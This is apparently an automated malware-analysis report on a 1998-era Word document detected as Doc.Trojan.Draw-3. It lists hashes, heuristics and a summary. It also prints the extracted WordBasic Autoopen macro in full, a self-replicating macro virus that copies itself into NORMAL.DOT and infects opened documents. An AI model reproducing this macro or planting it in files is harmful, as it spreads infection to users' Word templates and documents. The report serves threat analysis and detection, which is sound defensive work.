Office (OLE) malware analysis — malicious · 332fcc93b8a5e33c

MALICIOUS

Office (OLE)

32.0 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 1c45bcdbfe6d7f014dbd5ab9d218b45e SHA-1: fc969e95368658ed19c76f408bc0e8f5ddf1aeed SHA-256: 332fcc93b8a5e33cb021423efc444cdaa27b677509091977a408f6b51241ffaa

200 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The file is a legacy Word document containing a WordBasic Autoopen macro. This macro attempts to copy itself to the NORMAL.DOT template, indicating a potential persistence or propagation mechanism. The ClamAV detection 'Doc.Trojan.Draw-3' further supports its malicious nature. The macro's logic is somewhat obfuscated with drawing commands, but the core intent of template modification is clear.

Heuristics 4

ClamAV: Doc.Trojan.Draw-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Draw-3
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	3579 bytes
SHA-256: `2f4498fda0befee64e28b7fe66fe486a8e8838cba1a4f6967f5c0b51094f85d8`
Detection ClamAV: Doc.Trojan.Draw-3 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" Attribute VB_Name = "Autoopen" Public Sub MAIN() Dim a$ On Error GoTo -1: On Error GoTo NormalDot a$ = WordBasic.[DefaultDir$](15) + "\NORMAL.DOT" WordBasic.Organizer Copy:=1, Source:=WordBasic.[FileName$](), Destination:=a$, Name:="Autoopen", Tab:=3 GoTo Fin NormalDot: WordBasic.FileSaveAs Name:=WordBasic.[FileName$](), Format:=1, LockAnnot:=0, Password:="", AddToMru:=1, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0 a$ = WordBasic.[DefaultDir$](15) + "\NORMAL.DOT" WordBasic.Organizer Copy:=1, Source:=a$, Destination:=WordBasic.[FileName$](), Name:="Autoopen", Tab:=3 WordBasic.FileSave GoTo Fin Fin: WordBasic.ChDefaultDir WordBasic.[DefaultDir$](0), 2 If WordBasic.Second(WordBasic.Now()) > 50 Then GoTo acction Else GoTo fin2 acction: WordBasic.DrawEllipse WordBasic.DrawNudgeRight WordBasic.DrawNudgeRight WordBasic.DrawNudgeDown WordBasic.DrawNudgeRight WordBasic.DrawNudgeDown WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeLeft WordBasic.DrawNudgeUp WordBasic.DrawNudgeRight WordBasic.DrawNudgeDown WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeDown WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeUp WordBasic.DrawNudgeRight WordBasic.DrawNudgeDown WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeLeft WordBasic.DrawNudgeRight WordBasic.DrawNudgeLeft WordBasic.DrawNudgeLeft WordBasic.DrawNudgeDown WordBasic.DrawNudgeLeft WordBasic.DrawNudgeDown WordBasic.DrawNudgeLeft WordBasic.DrawNudgeUp WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeLeft WordBasic.DrawNudgeLeft WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeUp WordBasic.DrawNudgeLeft WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeUpPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeDownPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeDownPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeDownPixel WordBasic.DrawNudgeLeftPixel WordBasic.DrawNudgeLeft WordBasic.DrawNudgeLeft WordBasic.WW6_EditClear fin2: End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.